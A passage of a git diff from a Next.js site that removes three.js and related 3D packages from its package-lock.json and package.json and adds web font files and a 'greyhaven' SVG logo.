||||
"url": "https://github.com/sponsors/feross"
|
||||
},
|
||||
{
|
||||
"type": "patreon",
|
||||
"url": "https://www.patreon.com/feross"
|
||||
},
|
||||
{
|
||||
"type": "consulting",
|
||||
"url": "https://feross.org/support"
|
||||
}
|
||||
],
|
||||
"license": "BSD-3-Clause"
|
||||
},
|
||||
"node_modules/immediate": {
|
||||
"version": "3.0.6",
|
||||
"resolved": "https://registry.npmjs.org/immediate/-/immediate-3.0.6.tgz",
|
||||
"integrity": "sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/is-promise": {
|
||||
"version": "2.2.2",
|
||||
"resolved": "https://registry.npmjs.org/is-promise/-/is-promise-2.2.2.tgz",
|
||||
"integrity": "sha512-+lP4/6lKUBfQjZ2pdxThZvLUAafmZb8OAxFb8XXtiQmS35INgr85hdOGoEs124ez1FCnZJt6jau/T+alh58QFQ==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/isexe": {
|
||||
"version": "2.0.0",
|
||||
"resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
|
||||
"integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==",
|
||||
"license": "ISC"
|
||||
},
|
||||
"node_modules/its-fine": {
|
||||
"version": "2.0.0",
|
||||
"resolved": "https://registry.npmjs.org/its-fine/-/its-fine-2.0.0.tgz",
|
||||
"integrity": "sha512-KLViCmWx94zOvpLwSlsx6yOCeMhZYaxrJV87Po5k/FoZzcPSahvK5qJ7fYhS61sZi5ikmh2S3Hz55A2l3U69ng==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@types/react-reconciler": "^0.28.9"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"react": "^19.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/jiti": {
|
||||
"version": "2.6.1",
|
||||
"resolved": "https://registry.npmjs.org/jiti/-/jiti-2.6.1.tgz",
|
||||
@@ -1491,15 +1107,6 @@
|
||||
"jiti": "lib/jiti-cli.mjs"
|
||||
}
|
||||
},
|
||||
"node_modules/lie": {
|
||||
"version": "3.3.0",
|
||||
"resolved": "https://registry.npmjs.org/lie/-/lie-3.3.0.tgz",
|
||||
"integrity": "sha512-UaiMJzeWRlEujzAuw5LokY1L5ecNQYZKfmyZ9L7wDHb/p5etKaxXhohBcrw0EYby+G/NA52vRSN4N39dxHAIwQ==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"immediate": "~3.0.5"
|
||||
}
|
||||
},
|
||||
"node_modules/lightningcss": {
|
||||
"version": "1.31.1",
|
||||
"resolved": "https://registry.npmjs.org/lightningcss/-/lightningcss-1.31.1.tgz",
|
||||
@@ -1770,16 +1377,6 @@
|
||||
"react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0-rc"
|
||||
}
|
||||
},
|
||||
"node_modules/maath": {
|
||||
"version": "0.10.8",
|
||||
"resolved": "https://registry.npmjs.org/maath/-/maath-0.10.8.tgz",
|
||||
"integrity": "sha512-tRvbDF0Pgqz+9XUa4jjfgAQ8/aPKmQdWXilFu2tMy4GWj4NOsx99HlULO4IeREfbO3a0sA145DZYyvXPkybm0g==",
|
||||
"license": "MIT",
|
||||
"peerDependencies": {
|
||||
"@types/three": ">=0.134.0",
|
||||
"three": ">=0.134.0"
|
||||
}
|
||||
},
|
||||
"node_modules/magic-string": {
|
||||
"version": "0.30.21",
|
||||
"resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz",
|
||||
@@ -1790,21 +1387,6 @@
|
||||
"@jridgewell/sourcemap-codec": "^1.5.5"
|
||||
}
|
||||
},
|
||||
"node_modules/meshline": {
|
||||
"version": "3.3.1",
|
||||
"resolved": "https://registry.npmjs.org/meshline/-/meshline-3.3.1.tgz",
|
||||
"integrity": "sha512-/TQj+JdZkeSUOl5Mk2J7eLcYTLiQm2IDzmlSvYm7ov15anEcDJ92GHqqazxTSreeNgfnYu24kiEvvv0WlbCdFQ==",
|
||||
"license": "MIT",
|
||||
"peerDependencies": {
|
||||
"three": ">=0.137"
|
||||
}
|
||||
},
|
||||
"node_modules/meshoptimizer": {
|
||||
"version": "1.0.1",
|
||||
"resolved": "https://registry.npmjs.org/meshoptimizer/-/meshoptimizer-1.0.1.tgz",
|
||||
"integrity": "sha512-Vix+QlA1YYT3FwmBBZ+49cE5y/b+pRrcXKqGpS5ouh33d3lSp2PoTpCw19E0cKDFWalembrHnIaZetf27a+W2g==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/nanoid": {
|
||||
"version": "3.3.11",
|
||||
"resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz",
|
||||
@@ -1913,15 +1495,6 @@
|
||||
"node": "^10 || ^12 || >=14"
|
||||
}
|
||||
},
|
||||
"node_modules/path-key": {
|
||||
"version": "3.1.1",
|
||||
"resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
|
||||
"integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=8"
|
||||
}
|
||||
},
|
||||
"node_modules/picocolors": {
|
||||
"version": "1.1.1",
|
||||
"resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz",
|
||||
@@ -1957,22 +1530,6 @@
|
||||
"node": "^10 || ^12 || >=14"
|
||||
}
|
||||
},
|
||||
"node_modules/potpack": {
|
||||
"version": "1.0.2",
|
||||
"resolved": "https://registry.npmjs.org/potpack/-/potpack-1.0.2.tgz",
|
||||
"integrity": "sha512-choctRBIV9EMT9WGAZHn3V7t0Z2pMQyl0EZE6pFc/6ml3ssw7Dlf/oAOvFwjm1HVsqfQN8GfeFyJ+d8tRzqueQ==",
|
||||
"license": "ISC"
|
||||
},
|
||||
"node_modules/promise-worker-transferable": {
|
||||
"version": "1.0.4",
|
||||
"resolved": "https://registry.npmjs.org/promise-worker-transferable/-/promise-worker-transferable-1.0.4.tgz",
|
||||
"integrity": "sha512-bN+0ehEnrXfxV2ZQvU2PetO0n4gqBD4ulq3MI1WOPLgr7/Mg9yRQkX5+0v1vagr74ZTsl7XtzlaYDo2EuCeYJw==",
|
||||
"license": "Apache-2.0",
|
||||
"dependencies": {
|
||||
"is-promise": "^2.1.0",
|
||||
"lie": "^3.0.2"
|
||||
}
|
||||
},
|
||||
"node_modules/react": {
|
||||
"version": "19.2.0",
|
||||
"resolved": "https://registry.npmjs.org/react/-/react-19.2.0.tgz",
|
||||
@@ -1996,30 +1553,6 @@
|
||||
"react": "^19.2.0"
|
||||
}
|
||||
},
|
||||
"node_modules/react-use-measure": {
|
||||
"version": "2.1.7",
|
||||
"resolved": "https://registry.npmjs.org/react-use-measure/-/react-use-measure-2.1.7.tgz",
|
||||
"integrity": "sha512-KrvcAo13I/60HpwGO5jpW7E9DfusKyLPLvuHlUyP5zqnmAPhNc6qTRjUQrdTADl0lpPpDVU2/Gg51UlOGHXbdg==",
|
||||
"license": "MIT",
|
||||
"peerDependencies": {
|
||||
"react": ">=16.13",
|
||||
"react-dom": ">=16.13"
|
||||
},
|
||||
"peerDependenciesMeta": {
|
||||
"react-dom": {
|
||||
"optional": true
|
||||
}
|
||||
}
|
||||
},
|
||||
"node_modules/require-from-string": {
|
||||
"version": "2.0.2",
|
||||
"resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz",
|
||||
"integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=0.10.0"
|
||||
}
|
||||
},
|
||||
"node_modules/scheduler": {
|
||||
"version": "0.27.0",
|
||||
"resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.27.0.tgz",
|
||||
@@ -2084,27 +1617,6 @@
|
||||
"@img/sharp-win32-x64": "0.34.5"
|
||||
}
|
||||
},
|
||||
"node_modules/shebang-command": {
|
||||
"version": "2.0.0",
|
||||
"resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
|
||||
"integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"shebang-regex": "^3.0.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=8"
|
||||
}
|
||||
},
|
||||
"node_modules/shebang-regex": {
|
||||
"version": "3.0.0",
|
||||
"resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
|
||||
"integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=8"
|
||||
}
|
||||
},
|
||||
"node_modules/source-map-js": {
|
||||
"version": "1.2.1",
|
||||
"resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz",
|
||||
@@ -2114,32 +1626,6 @@
|
||||
"node": ">=0.10.0"
|
||||
}
|
||||
},
|
||||
"node_modules/stats-gl": {
|
||||
"version": "2.4.2",
|
||||
"resolved": "https://registry.npmjs.org/stats-gl/-/stats-gl-2.4.2.tgz",
|
||||
"integrity": "sha512-g5O9B0hm9CvnM36+v7SFl39T7hmAlv541tU81ME8YeSb3i1CIP5/QdDeSB3A0la0bKNHpxpwxOVRo2wFTYEosQ==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@types/three": "*",
|
||||
"three": "^0.170.0"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"@types/three": "*",
|
||||
"three": "*"
|
||||
}
|
||||
},
|
||||
"node_modules/stats-gl/node_modules/three": {
|
||||
"version": "0.170.0",
|
||||
"resolved": "https://registry.npmjs.org/three/-/three-0.170.0.tgz",
|
||||
"integrity": "sha512-FQK+LEpYc0fBD+J8g6oSEyyNzjp+Q7Ks1C568WWaoMRLW+TkNNWmenWeGgJjV105Gd+p/2ql1ZcjYvNiPZBhuQ==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/stats.js": {
|
||||
"version": "0.17.0",
|
||||
"resolved": "https://registry.npmjs.org/stats.js/-/stats.js-0.17.0.tgz",
|
||||
"integrity": "sha512-hNKz8phvYLPEcRkeG1rsGmV5ChMjKDAWU7/OJJdDErPBNChQXxCo3WZurGpnWc6gZhAzEPFad1aVgyOANH1sMw==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/styled-jsx": {
|
||||
"version": "5.1.6",
|
||||
"resolved": "https://registry.npmjs.org/styled-jsx/-/styled-jsx-5.1.6.tgz",
|
||||
@@ -2163,15 +1649,6 @@
|
||||
}
|
||||
}
|
||||
},
|
||||
"node_modules/suspend-react": {
|
||||
"version": "0.1.3",
|
||||
"resolved": "https://registry.npmjs.org/suspend-react/-/suspend-react-0.1.3.tgz",
|
||||
"integrity": "sha512-aqldKgX9aZqpoDp3e8/BZ8Dm7x1pJl+qI3ZKxDN0i/IQTWUwBx/ManmlVJ3wowqbno6c2bmiIfs+Um6LbsjJyQ==",
|
||||
"license": "MIT",
|
||||
"peerDependencies": {
|
||||
"react": ">=17.0"
|
||||
}
|
||||
},
|
||||
"node_modules/tailwind-merge": {
|
||||
"version": "3.5.0",
|
||||
"resolved": "https://registry.npmjs.org/tailwind-merge/-/tailwind-merge-3.5.0.tgz",
|
||||
@@ -2203,118 +1680,12 @@
|
||||
"url": "https://opencollective.com/webpack"
|
||||
}
|
||||
},
|
||||
"node_modules/three": {
|
||||
"version": "0.183.2",
|
||||
"resolved": "https://registry.npmjs.org/three/-/three-0.183.2.tgz",
|
||||
"integrity": "sha512-di3BsL2FEQ1PA7Hcvn4fyJOlxRRgFYBpMTcyOgkwJIaDOdJMebEFPA+t98EvjuljDx4hNulAGwF6KIjtwI5jgQ==",
|
||||
"license": "MIT",
|
||||
"peer": true
|
||||
},
|
||||
"node_modules/three-mesh-bvh": {
|
||||
"version": "0.8.3",
|
||||
"resolved": "https://registry.npmjs.org/three-mesh-bvh/-/three-mesh-bvh-0.8.3.tgz",
|
||||
"integrity": "sha512-4G5lBaF+g2auKX3P0yqx+MJC6oVt6sB5k+CchS6Ob0qvH0YIhuUk1eYr7ktsIpY+albCqE80/FVQGV190PmiAg==",
|
||||
"license": "MIT",
|
||||
"peerDependencies": {
|
||||
"three": ">= 0.159.0"
|
||||
}
|
||||
},
|
||||
"node_modules/three-stdlib": {
|
||||
"version": "2.36.1",
|
||||
"resolved": "https://registry.npmjs.org/three-stdlib/-/three-stdlib-2.36.1.tgz",
|
||||
"integrity": "sha512-XyGQrFmNQ5O/IoKm556ftwKsBg11TIb301MB5dWNicziQBEs2g3gtOYIf7pFiLa0zI2gUwhtCjv9fmjnxKZ1Cg==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@types/draco3d": "^1.4.0",
|
||||
"@types/offscreencanvas": "^2019.6.4",
|
||||
"@types/webxr": "^0.5.2",
|
||||
"draco3d": "^1.4.1",
|
||||
"fflate": "^0.6.9",
|
||||
"potpack": "^1.0.1"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"three": ">=0.128.0"
|
||||
}
|
||||
},
|
||||
"node_modules/three-stdlib/node_modules/fflate": {
|
||||
"version": "0.6.10",
|
||||
"resolved": "https://registry.npmjs.org/fflate/-/fflate-0.6.10.tgz",
|
||||
"integrity": "sha512-IQrh3lEPM93wVCEczc9SaAOvkmcoQn/G8Bo1e8ZPlY3X3bnAxWaBdvTdvM1hP62iZp0BXWDy4vTAy4fF0+Dlpg==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/troika-three-text": {
|
||||
"version": "0.52.4",
|
||||
"resolved": "https://registry.npmjs.org/troika-three-text/-/troika-three-text-0.52.4.tgz",
|
||||
"integrity": "sha512-V50EwcYGruV5rUZ9F4aNsrytGdKcXKALjEtQXIOBfhVoZU9VAqZNIoGQ3TMiooVqFAbR1w15T+f+8gkzoFzawg==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"bidi-js": "^1.0.2",
|
||||
"troika-three-utils": "^0.52.4",
|
||||
"troika-worker-utils": "^0.52.0",
|
||||
"webgl-sdf-generator": "1.1.1"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"three": ">=0.125.0"
|
||||
}
|
||||
},
|
||||
"node_modules/troika-three-utils": {
|
||||
"version": "0.52.4",
|
||||
"resolved": "https://registry.npmjs.org/troika-three-utils/-/troika-three-utils-0.52.4.tgz",
|
||||
"integrity": "sha512-NORAStSVa/BDiG52Mfudk4j1FG4jC4ILutB3foPnfGbOeIs9+G5vZLa0pnmnaftZUGm4UwSoqEpWdqvC7zms3A==",
|
||||
"license": "MIT",
|
||||
"peerDependencies": {
|
||||
"three": ">=0.125.0"
|
||||
}
|
||||
},
|
||||
"node_modules/troika-worker-utils": {
|
||||
"version": "0.52.0",
|
||||
"resolved": "https://registry.npmjs.org/troika-worker-utils/-/troika-worker-utils-0.52.0.tgz",
|
||||
"integrity": "sha512-W1CpvTHykaPH5brv5VHLfQo9D1OYuo0cSBEUQFFT/nBUzM8iD6Lq2/tgG/f1OelbAS1WtaTPQzE5uM49egnngw==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/tslib": {
|
||||
"version": "2.8.1",
|
||||
"resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
|
||||
"integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
|
||||
"license": "0BSD"
|
||||
},
|
||||
"node_modules/tunnel-rat": {
|
||||
"version": "0.1.2",
|
||||
"resolved": "https://registry.npmjs.org/tunnel-rat/-/tunnel-rat-0.1.2.tgz",
|
||||
"integrity": "sha512-lR5VHmkPhzdhrM092lI2nACsLO4QubF0/yoOhzX7c+wIpbN1GjHNzCc91QlpxBi+cnx8vVJ+Ur6vL5cEoQPFpQ==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"zustand": "^4.3.2"
|
||||
}
|
||||
},
|
||||
"node_modules/tunnel-rat/node_modules/zustand": {
|
||||
"version": "4.5.7",
|
||||
"resolved": "https://registry.npmjs.org/zustand/-/zustand-4.5.7.tgz",
|
||||
"integrity": "sha512-CHOUy7mu3lbD6o6LJLfllpjkzhHXSBlX8B9+qPddUsIfeF5S/UZ5q0kmCsnRqT1UHFQZchNFDDzMbQsuesHWlw==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"use-sync-external-store": "^1.2.2"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=12.7.0"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"@types/react": ">=16.8",
|
||||
"immer": ">=9.0.6",
|
||||
"react": ">=16.8"
|
||||
},
|
||||
"peerDependenciesMeta": {
|
||||
"@types/react": {
|
||||
"optional": true
|
||||
},
|
||||
"immer": {
|
||||
"optional": true
|
||||
},
|
||||
"react": {
|
||||
"optional": true
|
||||
}
|
||||
}
|
||||
},
|
||||
"node_modules/tw-animate-css": {
|
||||
"version": "1.3.3",
|
||||
"resolved": "https://registry.npmjs.org/tw-animate-css/-/tw-animate-css-1.3.3.tgz",
|
||||
@@ -2345,79 +1716,6 @@
|
||||
"integrity": "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==",
|
||||
"dev": true,
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/use-sync-external-store": {
|
||||
"version": "1.6.0",
|
||||
"resolved": "https://registry.npmjs.org/use-sync-external-store/-/use-sync-external-store-1.6.0.tgz",
|
||||
"integrity": "sha512-Pp6GSwGP/NrPIrxVFAIkOQeyw8lFenOHijQWkUTrDvrF4ALqylP2C/KCkeS9dpUM3KvYRQhna5vt7IL95+ZQ9w==",
|
||||
"license": "MIT",
|
||||
"peerDependencies": {
|
||||
"react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/utility-types": {
|
||||
"version": "3.11.0",
|
||||
"resolved": "https://registry.npmjs.org/utility-types/-/utility-types-3.11.0.tgz",
|
||||
"integrity": "sha512-6Z7Ma2aVEWisaL6TvBCy7P8rm2LQoPv6dJ7ecIaIixHcwfbJ0x7mWdbcwlIM5IGQxPZSFYeqRCqlOOeKoJYMkw==",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">= 4"
|
||||
}
|
||||
},
|
||||
"node_modules/webgl-constants": {
|
||||
"version": "1.1.1",
|
||||
"resolved": "https://registry.npmjs.org/webgl-constants/-/webgl-constants-1.1.1.tgz",
|
||||
"integrity": "sha512-LkBXKjU5r9vAW7Gcu3T5u+5cvSvh5WwINdr0C+9jpzVB41cjQAP5ePArDtk/WHYdVj0GefCgM73BA7FlIiNtdg=="
|
||||
},
|
||||
"node_modules/webgl-sdf-generator": {
|
||||
"version": "1.1.1",
|
||||
"resolved": "https://registry.npmjs.org/webgl-sdf-generator/-/webgl-sdf-generator-1.1.1.tgz",
|
||||
"integrity": "sha512-9Z0JcMTFxeE+b2x1LJTdnaT8rT8aEp7MVxkNwoycNmJWwPdzoXzMh0BjJSh/AEFP+KPYZUli814h8bJZFIZ2jA==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/which": {
|
||||
"version": "2.0.2",
|
||||
"resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
|
||||
"integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
|
||||
"license": "ISC",
|
||||
"dependencies": {
|
||||
"isexe": "^2.0.0"
|
||||
},
|
||||
"bin": {
|
||||
"node-which": "bin/node-which"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">= 8"
|
||||
}
|
||||
},
|
||||
"node_modules/zustand": {
|
||||
"version": "5.0.12",
|
||||
"resolved": "https://registry.npmjs.org/zustand/-/zustand-5.0.12.tgz",
|
||||
"integrity": "sha512-i77ae3aZq4dhMlRhJVCYgMLKuSiZAaUPAct2AksxQ+gOtimhGMdXljRT21P5BNpeT4kXlLIckvkPM029OljD7g==",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=12.20.0"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"@types/react": ">=18.0.0",
|
||||
"immer": ">=9.0.6",
|
||||
"react": ">=18.0.0",
|
||||
"use-sync-external-store": ">=1.2.0"
|
||||
},
|
||||
"peerDependenciesMeta": {
|
||||
"@types/react": {
|
||||
"optional": true
|
||||
},
|
||||
"immer": {
|
||||
"optional": true
|
||||
},
|
||||
"react": {
|
||||
"optional": true
|
||||
},
|
||||
"use-sync-external-store": {
|
||||
"optional": true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -8,9 +8,6 @@
|
||||
"start": "next start"
|
||||
},
|
||||
"dependencies": {
|
||||
"@react-three/drei": "^10.7.7",
|
||||
"@react-three/fiber": "^9.5.0",
|
||||
"@types/three": "^0.183.1",
|
||||
"class-variance-authority": "^0.7.1",
|
||||
"clsx": "^2.1.1",
|
||||
"lucide-react": "^0.454.0",
|
||||
@@ -18,8 +15,7 @@
|
||||
"next-themes": "^0.4.6",
|
||||
"react": "19.2.0",
|
||||
"react-dom": "19.2.0",
|
||||
"tailwind-merge": "^3.3.1",
|
||||
"three": "^0.183.2"
|
||||
"tailwind-merge": "^3.3.1"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@tailwindcss/postcss": "^4.1.9",
|
||||
|
||||
BIN
public/fonts/Aspekta-500.woff2
Normal file
BIN
public/fonts/Aspekta-500.woff2
Normal file
Binary file not shown.
BIN
public/fonts/Aspekta-600.woff2
Normal file
BIN
public/fonts/Aspekta-600.woff2
Normal file
Binary file not shown.
BIN
public/fonts/Aspekta-700.woff2
Normal file
BIN
public/fonts/Aspekta-700.woff2
Normal file
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
public/fonts/source-serif-pro-600.woff2
Normal file
BIN
public/fonts/source-serif-pro-600.woff2
Normal file
Binary file not shown.
BIN
public/fonts/source-serif-pro-700.woff2
Normal file
BIN
public/fonts/source-serif-pro-700.woff2
Normal file
Binary file not shown.
19
public/greyhaven-lockup.svg
Normal file
19
public/greyhaven-lockup.svg
Normal file
@@ -0,0 +1,19 @@
|
||||
<svg width="285" height="70" viewBox="0 0 285 70" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<g clip-path="url(#clip0_0_17)">
|
||||
<path d="M97.7812 48.9805L97.368 44.8291C95.9388 47.2257 92.5701 49.6757 87.3541 49.6757C78.818 49.6757 71.2493 43.4 71.2493 32.6034C71.2493 21.8069 79.2312 15.5798 87.7187 15.5798C95.6569 15.5798 100.732 20.1493 102.482 25.5451L97.2659 27.5284C96.1576 23.8389 92.9298 20.6986 87.7138 20.6986C82.4979 20.6986 76.8736 24.4805 76.8736 32.6034C76.8736 40.7264 82.0409 44.6007 87.6701 44.6007C94.2666 44.6007 96.7604 40.0798 97.0375 37.2653H86.2409V32.4187H102.253V48.9805H97.7763H97.7812Z" fill="#161614"/>
|
||||
<path d="M120.57 31.8159C119.972 31.7235 119.37 31.6798 118.815 31.6798C114.664 31.6798 112.773 34.0763 112.773 38.2763V48.9805H107.421V26.5124H112.637V30.1097C113.697 27.6645 116.19 26.2354 119.141 26.2354C119.788 26.2354 120.342 26.3277 120.57 26.3715V31.8159Z" fill="#161614"/>
|
||||
<path d="M143.685 42.5688C142.484 46.4917 138.93 49.6757 133.535 49.6757C127.444 49.6757 122.048 45.2473 122.048 37.6348C122.048 30.5278 127.308 25.8223 132.98 25.8223C139.903 25.8223 143.962 30.3917 143.962 37.4938C143.962 38.3688 143.869 39.1077 143.821 39.2H127.395C127.531 42.6125 130.21 45.0577 133.53 45.0577C136.85 45.0577 138.42 43.3514 139.159 41.1348L143.68 42.5639L143.685 42.5688ZM138.566 35.2771C138.474 32.6473 136.719 30.2945 133.029 30.2945C129.66 30.2945 127.726 32.8757 127.541 35.2771H138.566Z" fill="#161614"/>
|
||||
<path d="M148.366 58.0708L153.767 46.3069L144.171 26.5125H150.213L156.674 40.7215L162.716 26.5125H168.389L154.088 58.0708H148.366Z" fill="#161614"/>
|
||||
<path d="M176.264 48.9805H170.912V15.575H176.264V28.6805C177.785 26.6972 180.323 25.8659 182.676 25.8659C188.213 25.8659 190.886 29.8326 190.886 34.7715V48.9805H185.534V35.6902C185.534 32.9194 184.29 30.7076 180.921 30.7076C177.97 30.7076 176.351 32.9194 176.259 35.7826V48.9805H176.264Z" fill="#161614"/>
|
||||
<path d="M201.337 36.1084L207.103 35.2334C208.396 35.0487 208.765 34.4021 208.765 33.6195C208.765 31.7285 207.472 30.207 204.521 30.207C201.571 30.207 200.137 32.0056 199.908 34.266L195.018 33.1577C195.431 29.2834 198.941 25.8223 204.478 25.8223C211.4 25.8223 214.03 29.7452 214.03 34.2174V45.3834C214.03 47.4153 214.263 48.7521 214.307 48.9806H209.324C209.28 48.8396 209.096 47.9209 209.096 46.1174C208.036 47.8237 205.819 49.6709 202.174 49.6709C197.468 49.6709 194.561 46.4431 194.561 42.8896C194.561 38.8744 197.512 36.6625 201.342 36.1084H201.337ZM208.765 39.6618V38.6459L202.908 39.5209C201.245 39.798 199.908 40.7216 199.908 42.5688C199.908 44.0903 201.06 45.4757 203.185 45.4757C206.184 45.4757 208.765 44.0466 208.765 39.6618Z" fill="#161614"/>
|
||||
<path d="M228.988 48.9805H223.635L214.501 26.5125H220.408L226.358 42.5687L232.172 26.5125H237.801L228.988 48.9805Z" fill="#161614"/>
|
||||
<path d="M259.856 42.5688C258.655 46.4917 255.101 49.6757 249.706 49.6757C243.615 49.6757 238.219 45.2473 238.219 37.6348C238.219 30.5278 243.478 25.8223 249.151 25.8223C256.074 25.8223 260.133 30.3917 260.133 37.4938C260.133 38.3688 260.04 39.1077 259.992 39.2H243.566C243.702 42.6125 246.381 45.0577 249.701 45.0577C253.021 45.0577 254.591 43.3514 255.33 41.1348L259.851 42.5639L259.856 42.5688ZM254.732 35.2771C254.64 32.6473 252.885 30.2945 249.195 30.2945C245.826 30.2945 243.892 32.8757 243.707 35.2771H254.732Z" fill="#161614"/>
|
||||
<path d="M269.393 48.9806H264.041V26.5125H269.257V29.5118C270.735 26.9306 273.408 25.866 275.902 25.866C281.39 25.866 284.02 29.8326 284.02 34.7715V48.9806H278.668V35.6903C278.668 32.9194 277.424 30.7076 274.055 30.7076C271.012 30.7076 269.393 33.0604 269.393 36.0111V48.9757V48.9806Z" fill="#161614"/>
|
||||
<path d="M53.9972 15.7111L44.9215 10.3833H44.4306L36.3222 15.1424V5.32778L27.2465 0H26.7556L17.6799 5.32778V15.1424L9.57153 10.3833H9.08056L0 15.7111V16.0611V54.2208L9.07569 59.6264H9.57153L17.675 54.8042V64.6042L26.7507 70.0097H27.2465L36.3222 64.6042V54.8042L44.4257 59.6264H44.9215L53.9972 54.2208V15.7111ZM9.32361 11.3653L17.4417 16.134L9.32361 20.966L1.20556 16.134L9.32361 11.3653ZM0.972222 17.1257L8.8375 21.8069V48.1931L0.972222 52.8111V17.1257ZM8.8375 49.3208V58.3479L1.20556 53.8028L8.8375 49.3208ZM9.80972 58.3479V49.3208L17.4417 53.8028L9.80972 58.3479ZM17.675 52.8111L9.80972 48.1931V21.8069L17.675 17.1257V52.8111ZM35.35 16.0611V25.5208L27.4847 20.9028V11.4285L35.35 6.74722V16.0611ZM26.9986 31.3444L18.8806 26.5125L26.9986 21.7437L35.1167 26.5125L26.9986 31.3444ZM27.4847 10.2958V1.26875L35.1167 5.75069L27.4847 10.2958ZM26.5125 1.26875V10.2958L18.8806 5.75069L26.5125 1.26875ZM18.6472 6.74236L26.5125 11.4236V20.8979L18.6472 25.516V6.74236ZM18.6472 27.5042L26.5125 32.1854V58.5715L18.6472 63.1896V27.5042ZM26.5125 59.6993V68.7264L18.8806 64.1812L26.5125 59.6993ZM27.4847 68.7264V59.6993L35.1167 64.1812L27.4847 68.7264ZM35.35 63.1896L27.4847 58.5715V32.1854L35.35 27.5042V63.1896ZM45.1597 11.6521L52.7917 16.134L45.1597 20.6792V11.6521ZM44.1875 11.6521V20.6792L36.5556 16.134L44.1875 11.6521ZM36.3222 17.1257L44.1875 21.8069V48.1931L36.3222 52.8111V17.1257ZM44.6736 58.6396L36.5556 53.8028L44.6736 49.034L52.7917 53.8028L44.6736 58.6396ZM53.025 52.8111L45.1597 48.1931V21.8069L53.025 17.1257V52.8111Z" fill="#161614"/>
|
||||
</g>
|
||||
<defs>
|
||||
<clipPath id="clip0_0_17">
|
||||
<rect width="284.02" height="70" fill="white"/>
|
||||
</clipPath>
|
||||
</defs>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 5.2 KiB |
9
